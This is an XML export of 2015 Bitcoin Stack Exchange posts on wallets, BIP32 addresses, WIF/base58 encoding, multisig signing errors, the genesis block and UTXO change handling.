  <row Id="39313" PostTypeId="2" ParentId="36702" CreationDate="2015-08-30T07:10:28.887" Score="1" Body="&lt;p&gt;Generally web wallets have you store the keys on your computer, because otherwise they would have control of your Bitcoins and could run off with them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason you need a site is because you can't broadcast transactions to the network without a &lt;a href=&quot;https://bitcoin.org/en/full-node#what-is-a-full-node&quot; rel=&quot;nofollow&quot;&gt;full node&lt;/a&gt;, something that is running on the site's servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Web wallets of this type allow you the best of both worlds, you do not need to run software on your computer, and you retain control of your coins as the server never knows your private key.&lt;/p&gt;&#xA;" OwnerUserId="14887" LastActivityDate="2015-08-30T07:10:28.887" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39314" PostTypeId="2" ParentId="39305" CreationDate="2015-08-30T07:11:04.760" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;should i use my MPK to generate infinite addresses, so after a user deposits into the address, a new address is automatically generated for that user.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, that's an intended use of BIP32.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;and if the user deposits to the old address can It be traced?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Assuming you remember the derivation of the key, sure. But it would probably be simpler to just keep a list of every Bitcoin address you've ever shown to a user, and compare incoming transactions against that.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also how would the user be able to withdraw their balance in only their account?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are two ways to implement this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Keep coins from different customers with each other in one big wallet. Keep track of how much each customer has in a separate database.&lt;/li&gt;&#xA;&lt;li&gt;Make each address belong to a customer, and make sure that customers can only sign transactions using their own keys.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;#1 has some advantages, but #2 is generally easier to implement without shooting yourself in the foot.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I don't want my priv key exposed. And how can the site fees be deducted from each transaction with out the user beign able to withdraw that as well, And how would i implement a escrow service for the site so the seller offers service and the buyer buys but the coins are stored until the buyer says release or my staff see that it should be released to the right person.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I suggest that you not give your private keys to your users, especially if you're using BIP32 or you've chosen approach #1 above. Instead, generate and sign the transactions yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for escrow or manually releasing funds, you control the private keys, so you can move the coins at will. (That's something that your customers might not appreciate, since it opens the possibility that you'll steal all of their money.)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;also how can I set up a multi-sig on the site for those users that choose to use it?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I assume you mean 2-of-3 multisig between you, the buyer, and the seller. I've not used it personally, but I've heard good things about BitPay's &lt;a href=&quot;https://github.com/bitpay/copay&quot; rel=&quot;nofollow&quot;&gt;copay&lt;/a&gt; implementation.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;And am not the talented programmer making the site, so I am safe giving him my MPK? Or what is &quot;safe&quot; for me to give him?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The site as you've described it requires you to have the extended private key on your server, or somewhere that your server can access. And, no, that's not safe to give to someone that you don't trust.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-09-10T18:24:03.043" LastActivityDate="2015-09-10T18:24:03.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39316" PostTypeId="2" ParentId="39303" CreationDate="2015-08-30T14:24:14.450" Score="2" Body="&lt;p&gt;As MultiBit HD is targeted for end users it does not have any external API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at the WalletTool in the bitcoinj examples module (the Bitcoin network code MultiBit uses).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It gives you a command line interface into bitcoin confirmations.&#xA;It's much simpler than the MultiBit HD code so will be much easier to tweak to do what you want.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2015-08-30T14:24:14.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39317" PostTypeId="2" ParentId="39291" CreationDate="2015-08-30T14:29:41.220" Score="1" Body="&lt;p&gt;Not in the UI no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can work out the XPUB from your wallet words by making an &lt;strong&gt;offline&lt;/strong&gt; copy of &lt;a href=&quot;https://dcpos.github.io/bip39/&quot; rel=&quot;nofollow&quot;&gt;https://dcpos.github.io/bip39/&lt;/a&gt; and then using that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is a regular MultBit HD wallet it is the BIP 32 panel you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use it offline for security of your wallet words obviously.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2015-08-30T14:29:41.220" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39318" PostTypeId="1" CreationDate="2015-08-30T15:35:53.607" Score="1" ViewCount="2377" Body="&lt;p&gt;I am trying to learn more about how bitcoin addresses are created. I am following along with the tutorial at &lt;a href=&quot;https://en.bitcoin.it/wiki/Wallet_import_format&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Wallet_import_format&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I undertsand how they do the first six steps however I do not understand how to go from step 6 to step 7&lt;/p&gt;&#xA;&#xA;&lt;p&gt;they have &lt;code&gt;800C28FCA386C7A227600B2FE50B7CAE11EC86D3BF1FBE471BE89827E19D72AA1D507A5B8D&lt;/code&gt;&#xA;and they get the private key of &lt;code&gt;5HueCGU8rMjxEXxiPuD5BDku4MkFqeZyd4dZ1jvhTVqvbTLvyTJ&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read from &lt;a href=&quot;https://en.bitcoin.it/wiki/Base58Check_encoding&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; that I need to do put the version byte in front which is 00 so I have&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00800C28FCA386C7A227600B2FE50B7CAE11EC86D3BF1FBE471BE89827E19D72AA1D507A5B8D&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then I need to do sha256(sha256(result)) = 74944C34 (first 4 bytes)&#xA;then I have &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00800C28FCA386C7A227600B2FE50B7CAE11EC86D3BF1FBE471BE89827E19D72AA1D507A5B8D74944C34&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then I am running it through this test vb.net code (I will put it in a loop once I get it working)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Dim number As BigInteger = System.Numerics.BigInteger.Parse(&quot;00800C28FCA386C7A227600B2FE50B7CAE11EC86D3BF1FBE471BE89827E19D72AA1D507A5B8D74944C34&quot;, NumberStyles.HexNumber)&#xA;&#xA;&#xA;Dim count As BigInteger = number / 58&#xA;    Dim remainder As Integer = number Mod 58&#xA;    MessageBox.Show(count.ToString())&#xA;    MessageBox.Show(remainder.ToString())&#xA;    count = count / 58&#xA;    remainder = count Mod 58&#xA;    MessageBox.Show(count.ToString())&#xA;    MessageBox.Show(remainder.ToString())&#xA;    count = count / 58&#xA;    remainder = count Mod 58&#xA;    MessageBox.Show(count.ToString())&#xA;    MessageBox.Show(remainder.ToString())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for some reason the numbers are 48,37,3 but this does not line up with the chart on the second link and the answer which is &lt;code&gt;5HueCGU8rMjxEXxiPuD5BDku4MkFqeZyd4dZ1jvhTVqvbTLvyTJ&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;can someone please show me what I am doing wrong and help me understand the base58encode?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="28173" LastActivityDate="2015-08-30T16:21:32.390" Title="private key to wif - need help converting to base58encode (step 6 to step 7)" Tags="|private-key|base58|wallet-import-format|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39319" PostTypeId="2" ParentId="39318" CreationDate="2015-08-30T16:21:32.390" Score="1" Body="&lt;p&gt;Version byte &lt;code&gt;0&lt;/code&gt; is for addresses, for an uncompressed private key you want &lt;code&gt;128&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Base58Check_encoding#Version_bytes&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Base58Check_encoding#Version_bytes&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-08-30T16:21:32.390" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="39320" PostTypeId="2" ParentId="39229" CreationDate="2015-08-30T16:51:38.570" Score="0" Body="&lt;p&gt;I have posted how i got my miner to run on bitcointalk at the following link: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=1161887.new#new&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=1161887.new#new&lt;/a&gt;  try to see if these tips work for you...&lt;/p&gt;&#xA;" OwnerUserId="28076" LastActivityDate="2015-08-30T16:51:38.570" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39321" PostTypeId="1" CreationDate="2015-08-30T20:15:42.250" Score="1" ViewCount="493" Body="&lt;p&gt;i am new to the bitcoin thin and i want to know if i can keep the same adress for send and recive some money.&#xA;I use multibit HD wallet.&#xA;Beyond the line is what the help of he investment party tells me but since i am new i do not realy understand.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;– There is no registration — you are identified via your bitcoin address only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;– Do not use Shared coin transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;– You are able to make multiple deposits using the same address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;– Until your payment is confirmed in the bitcoin network (included into a block), it is not deposited and does not appears in the list of recent payments. It can take several minutes, sometimes up to one hour, to mark the transaction as confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;please some help/advise.&#xA;thanks.&lt;/p&gt;&#xA;" OwnerUserId="28174" LastEditorUserId="2306" LastEditDate="2015-08-30T20:19:57.760" LastActivityDate="2015-08-30T21:39:39.273" Title="multiple deposits using the same address for investment" Tags="|wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39322" PostTypeId="2" ParentId="39321" CreationDate="2015-08-30T21:27:20.527" Score="1" Body="&lt;p&gt;yeah it seems like your correct, just make sure to be in control of your private key.&lt;/p&gt;&#xA;" OwnerUserId="28173" LastEditorUserId="28173" LastEditDate="2015-08-30T21:39:39.273" LastActivityDate="2015-08-30T21:39:39.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39323" PostTypeId="1" AcceptedAnswerId="39332" CreationDate="2015-08-30T21:34:40.317" Score="1" ViewCount="769" Body="&lt;p&gt;There is one thing I do not understand about unspent outputs and change addresses. For example, let's say a person has 5BTC in a wallet, and they have 2 unspent outputs of 3BTC and 2BTC. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They one day need to pay 2.5BTC for something. I know about the coin selection algorithm but lets just say the Bitcoin wallet select 2.5BTC out of the 3btc unspent output. This would leave 0.5BTC to send to the change address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now here is my question. Let's say they make the change address to a new wallet. Will the new wallet have 0.5BTC and the old wallet have 2BTC or will the new wallet have 2.5BTC and the old wallet 0BTC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically the 2BTC unspent output that was never touched, does it go with the change address or does it stay in the old wallet?&lt;/p&gt;&#xA;" OwnerUserId="28173" LastEditorUserId="5406" LastEditDate="2016-04-03T08:20:55.690" LastActivityDate="2016-04-03T08:20:55.690" Title="Do all UTXO get moved to the newest change address?" Tags="|wallet|paper-wallet|change|coin-selection|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39324" PostTypeId="2" ParentId="36514" CreationDate="2015-08-31T01:03:52.157" Score="3" Body="&lt;p&gt;It's pretty easy.&#xA;The first asics where based on 90's technology, current asics are almost cought up now to recent chip technology.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the asic industry has camped 15 years of tech advancement into 2 years.&#xA;Every couple of months the new asics where more than twice as fast. That caused the rapid hash increase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that they are caught up with current tech we will go back to 10% efficienty increase per year again. Like in the gpu days. Back then the difficulty raised very slowely because gpu's also had a 10% efficienty increase per year on avarage.&#xA;When gpu's came to the scene you saw the same rapid growth that flattned again when everybody had switched to gpu's. The only reason it was just a short period is because retail gpu's where allready in line with the chiptechnology of the time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that asic efficienty improvements are in line with the industry the only way to increase hashpower is to have more machines instead of ever faster machines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All that you are seeing is growth in hashes per watt flattning out, and with it difficulty growth flattning. &lt;/p&gt;&#xA;" OwnerUserId="28177" LastActivityDate="2015-08-31T01:03:52.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39325" PostTypeId="1" AcceptedAnswerId="39326" CreationDate="2015-08-31T02:27:47.803" Score="5" ViewCount="1404" Body="&lt;p&gt;I've been running into a lot of trouble getting a transaction to spend coins in a multisig address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I create the raw transaction&#xA;When I go to sign, I get &quot;Operation not valid with the correct stack size&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using core, and the codes are here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, check if it's good.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli decoderawtransaction 0100000001d2aba456546be8f5223802112637e484c5d94118dfe560fa23de06fb37e621dd0000000000ffffffff01107a0700000000001976a914a4f29e1c8f592021fd79eda1be85c96a9a8d349a88ac00000000&#xA;{&#xA;    &quot;txid&quot; : &quot;e71006c60dbfa2793710d5cf866d1b6b89ba80bc41634031d927738c40ae8228&quot;,&#xA;    &quot;version&quot; : 1,&#xA;    &quot;locktime&quot; : 0,&#xA;    &quot;vin&quot; : [&#xA;        {&#xA;            &quot;txid&quot; : &quot;dd21e637fb06de23fa60e5df1841d9c584e4372611023822f5e86b5456a4abd2&quot;,&#xA;            &quot;vout&quot; : 0,&#xA;            &quot;scriptSig&quot; : {&#xA;                &quot;asm&quot; : &quot;&quot;,&#xA;                &quot;hex&quot; : &quot;&quot;&#xA;            },&#xA;            &quot;sequence&quot; : 4294967295&#xA;        }&#xA;    ],&#xA;    &quot;vout&quot; : [&#xA;        {&#xA;            &quot;value&quot; : 0.00490000,&#xA;            &quot;n&quot; : 0,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;OP_DUP OP_HASH160 a4f29e1c8f592021fd79eda1be85c96a9a8d349a OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;                &quot;hex&quot; : &quot;76a914a4f29e1c8f592021fd79eda1be85c96a9a8d349a88ac&quot;,&#xA;                &quot;reqSigs&quot; : 1,&#xA;                &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;                &quot;addresses&quot; : [&#xA;                    &quot;1G3ATq31k5SrGdqucXKqA9dHbzS3wJHzbc&quot;&#xA;                ]&#xA;            }&#xA;        }&#xA;    ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then we go to sign.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli signrawtransaction 0100000001d2aba456546be8f5223802112637e484c5d94118dfe560fa23de06fb37e621dd0000000000ffffffff01107a0700000000001976a914a4f29e1c8f592021fd79eda1be85c96a9a8d349a88ac00000000&#xA;{&#xA;    &quot;hex&quot; : &quot;0100000001d2aba456546be8f5223802112637e484c5d94118dfe560fa23de06fb37e621dd000000009200483045022100eaae5737ab000f614ce73da11ba456b4467cf640ed881fd1fa90183d1d28c2e8022066c78bf750ae0a175f6ef116ecc3e4a0c18eda1aff9c951952f8f6e45a3521ad0147522102908921b30aa37fe6e522c528cca0ebcda9f0df4019301fa45bc3b3c7df60245a2103559dc92d6e44a98080d487e585b93278106249a166795584ae554a4275f059b752aeffffffff01107a0700000000001976a914a4f29e1c8f592021fd79eda1be85c96a9a8d349a88ac00000000&quot;,&#xA;    &quot;complete&quot; : false,&#xA;    &quot;errors&quot; : [&#xA;        {&#xA;            &quot;txid&quot; : &quot;dd21e637fb06de23fa60e5df1841d9c584e4372611023822f5e86b5456a4abd2&quot;,&#xA;            &quot;vout&quot; : 0,&#xA;            &quot;scriptSig&quot; : &quot;00483045022100eaae5737ab000f614ce73da11ba456b4467cf640ed881fd1fa90183d1d28c2e8022066c78bf750ae0a175f6ef116ecc3e4a0c18eda1aff9c951952f8f6e45a3521ad0147522102908921b30aa37fe6e522c528cca0ebcda9f0df4019301fa45bc3b3c7df60245a2103559dc92d6e44a98080d487e585b93278106249a166795584ae554a4275f059b752ae&quot;,&#xA;            &quot;sequence&quot; : 4294967295,&#xA;            &quot;error&quot; : &quot;Operation not valid with the current stack size&quot;&#xA;        }&#xA;    ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using &lt;a href=&quot;https://gist.githubusercontent.com/gavinandresen/3966071/raw/ca21870c190ba0e90c1a30673e790ef5acd207d2/TwoOfThree.sh&quot;&gt;https://gist.githubusercontent.com/gavinandresen/3966071/raw/ca21870c190ba0e90c1a30673e790ef5acd207d2/TwoOfThree.sh&lt;/a&gt; for reference.&lt;/p&gt;&#xA;" OwnerUserId="14887" LastActivityDate="2015-08-31T03:40:23.160" Title="How do you spend a P2SH transaction?" Tags="|bitcoin-core|raw-transaction|p2sh|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="39326" PostTypeId="2" ParentId="39325" CreationDate="2015-08-31T03:40:23.160" Score="8" Body="&lt;p&gt;You get this error because Bitcoin has tried to validate the script, and failed, because not all of the signatures necessary were added in the previous &lt;code&gt;signrawtransaction&lt;/code&gt;. You can also tell this because &lt;code&gt;complete&lt;/code&gt; is false.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to take it to clients that have the other keys necessary, and run &lt;code&gt;signrawtransaction&lt;/code&gt; on the transaction there too.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-08-31T03:40:23.160" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="39327" PostTypeId="2" ParentId="10009" CreationDate="2015-08-31T03:59:23.433" Score="3" Body="&lt;p&gt;At least with current versions of the Bitcoin Core client, the Genesis block is actually hard coded into the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The part of the code that builds this block is located &lt;a href=&quot;https://gist.github.com/drazisil/8f628627cff0d173e9b1&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and I have included a JSON dump of the coinbase transaction below for reference.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;txid&quot; : &quot;4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127b7afdeda33b&quot;,&#xA;    &quot;version&quot; : 1,&#xA;    &quot;locktime&quot; : 0,&#xA;    &quot;vin&quot; : [&#xA;        {&#xA;            &quot;coinbase&quot; : &quot;04ffff001d0104455468652054696d65732030332f4a616e2f32303039204368616e63656c6c6f72206f6e206272696e6b206f66207365636f6e64206261696c6f757420666f722062616e6b73&quot;,&#xA;            &quot;sequence&quot; : 4294967295&#xA;        }&#xA;    ],&#xA;    &quot;vout&quot; : [&#xA;        {&#xA;            &quot;value&quot; : 50.00000000,&#xA;            &quot;n&quot; : 0,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;04678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5f OP_CHECKSIG&quot;,&#xA;                &quot;hex&quot; : &quot;4104678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5fac&quot;,&#xA;                &quot;reqSigs&quot; : 1,&#xA;                &quot;type&quot; : &quot;pubkey&quot;,&#xA;                &quot;addresses&quot; : [&#xA;                    &quot;1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa&quot;&#xA;                ]&#xA;            }&#xA;        }&#xA;    ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reference &lt;a href=&quot;https://gist.github.com/drazisil/8f628627cff0d173e9b1&quot; rel=&quot;nofollow noreferrer&quot;&gt;Gist&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14887" LastEditorUserId="42185" LastEditDate="2019-04-28T16:49:57.747" LastActivityDate="2019-04-28T16:49:57.747" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="39328" PostTypeId="2" ParentId="9259" CreationDate="2015-08-31T04:28:14.660" Score="1" Body="&lt;p&gt;It seems several people are interested in how to create symbolic links in Windows. I know I was. This allows you to move your data directory to another hard drive without having to add the datadir flag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's actually not that much different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create a symbolic link (called a junction in Windows land) in Vista or later:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mklink /J &amp;lt;Link&amp;gt; &amp;lt;Target&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sure the folder path that you use for the &amp;lt;Link&amp;gt; doesn't exist before creating. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(c:\&amp;lt;user&amp;gt;\AppData\Roaming\Bitcoin by default.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;https://en.wikipedia.org/wiki/NTFS_junction_point#Creating_or_deleting_a_junction_point&quot; rel=&quot;nofollow&quot;&gt;Wikipedia&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14887" LastActivityDate="2015-08-31T04:28:14.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39329" PostTypeId="1" AcceptedAnswerId="49186" CreationDate="2015-08-31T07:16:07.483" Score="8" ViewCount="19640" Body="&lt;p&gt;In Ethereum, what is an uncle?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does Ethereum take this approach, instead of having a single chain of blocks back to the genesis block?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you mine a block, and it only gets included as an uncle, how much of the original reward do you get?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How long after the uncle is created is it allowed to be included into a block? &lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="18196" LastEditDate="2015-09-01T20:18:43.997" LastActivityDate="2021-03-29T08:59:34.657" Title="In Ethereum, what is an uncle block?" Tags="|ethereum|" AnswerCount="2" CommentCount="1" ClosedDate="2020-04-25T21:35:50.450" ContentLicense="CC BY-SA 3.0" />
  <row Id="39330" PostTypeId="1" CreationDate="2015-08-31T09:47:01.363" Score="3" ViewCount="618" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.org/bitcoin.pdf&quot; rel=&quot;nofollow&quot;&gt;Satoshi's paper&lt;/a&gt; says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Once the latest transaction in a coin is buried under enough blocks,&#xA;  the spent transactions before it can be discarded to save disk space.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What are &lt;em&gt;spent transactions&lt;/em&gt;?&lt;/p&gt;&#xA;" OwnerUserId="28045" LastEditorUserId="5406" LastEditDate="2016-01-22T18:50:02.293" LastActivityDate="2016-01-22T18:50:02.293" Title="What are spent transactions?" Tags="|transactions|utxo|storage-footprint|pruning|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39331" PostTypeId="2" ParentId="39330" CreationDate="2015-08-31T09:52:47.990" Score="2" Body="&lt;p&gt;Balances in Bitcoin are stored in Unspent Transaction Outputs &lt;a href=&quot;/questions/tagged/utxo&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;utxo&amp;#39;&quot; rel=&quot;tag&quot;&gt;utxo&lt;/a&gt;. UTXO can be used as inputs when a transaction is created. They can only be spent completely, while the resulting transaction creates new ones in the process, redistributing the balance to the recipients of the transaction. &lt;em&gt;Spent transactions&lt;/em&gt; refers to Transaction Outputs that have been expended.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2015-08-31T09:52:47.990" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39332" PostTypeId="2" ParentId="39323" CreationDate="2015-08-31T10:06:06.340" Score="1" Body="&lt;p&gt;If you send 2.5 BTC to one address and 0.5 BTC to another wallet, that is a transaction with two recipients. Change addresses are new addresses in the same wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the 3BTC UTXO were selected, there would be no reason for the 2BTC UTXO to move. If you want to move all your money to the new wallet, send 2.5BTC to the recipient and the remaining money to your new wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to find out more about the Coinselection Algorithm check out &lt;a href=&quot;https://bitcoin.stackexchange.com/a/29962/5406&quot;&gt;What is the coin selection algorithm?&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2015-08-31T10:06:06.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39333" PostTypeId="1" CreationDate="2015-08-31T11:03:25.557" Score="0" ViewCount="367" Body="&lt;p&gt;I added bitcoin payment to my website with bitcoin daemon, but one user is having an error with the blockchain.info API:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning! this bitcoin address contains transactions which may be double spends. You should be extremely careful when trusting any transactions to or from this address.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/address/163cTKxPehxPi4nJ3oTHAso6eXWywfYr7N&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/163cTKxPehxPi4nJ3oTHAso6eXWywfYr7N&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I confirm this user's withdrawal, or should I block them? And what is significance of this error? If I use bitcoind to count confirmations, it's not dangerous to accept funds from such an address, right?? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="26795" LastEditorUserId="18196" LastEditDate="2015-08-31T19:46:17.193" LastActivityDate="2015-08-31T19:46:17.193" Title="What does this blockchain.info error mean?" Tags="|bitcoind|blockchain.info|withdrawal|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="39334" PostTypeId="2" ParentId="39306" CreationDate="2015-08-31T11:55:07.347" Score="1" Body="&lt;p&gt;No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CLAM network has another transaction format with additional timestamp field. So, you can not create and sign your transaction with Bitcoin Core client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, it is possible to create and sign transaction for CLAM network without using untrusted CLAM client software. But you have to have tools to do it besides Bitcoin Core client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Signing transaction with untrusted software can leak your private key.&lt;/p&gt;&#xA;" OwnerUserId="12983" LastEditorUserId="12983" LastEditDate="2015-08-31T16:50:42.080" LastActivityDate="2015-08-31T16:50:42.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39335" PostTypeId="1" CreationDate="2015-08-31T12:06:12.553" Score="1" ViewCount="199" Body="&lt;p&gt;Has anyone built the Armory Bitcoin wallet successfully and created the wallet using python and Armory as a library instead of using the GUI?&lt;/p&gt;&#xA;" OwnerUserId="26872" LastActivityDate="2018-10-28T00:00:35.457" Title="question on Armory bitcoin wallet scripting" Tags="|armory|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
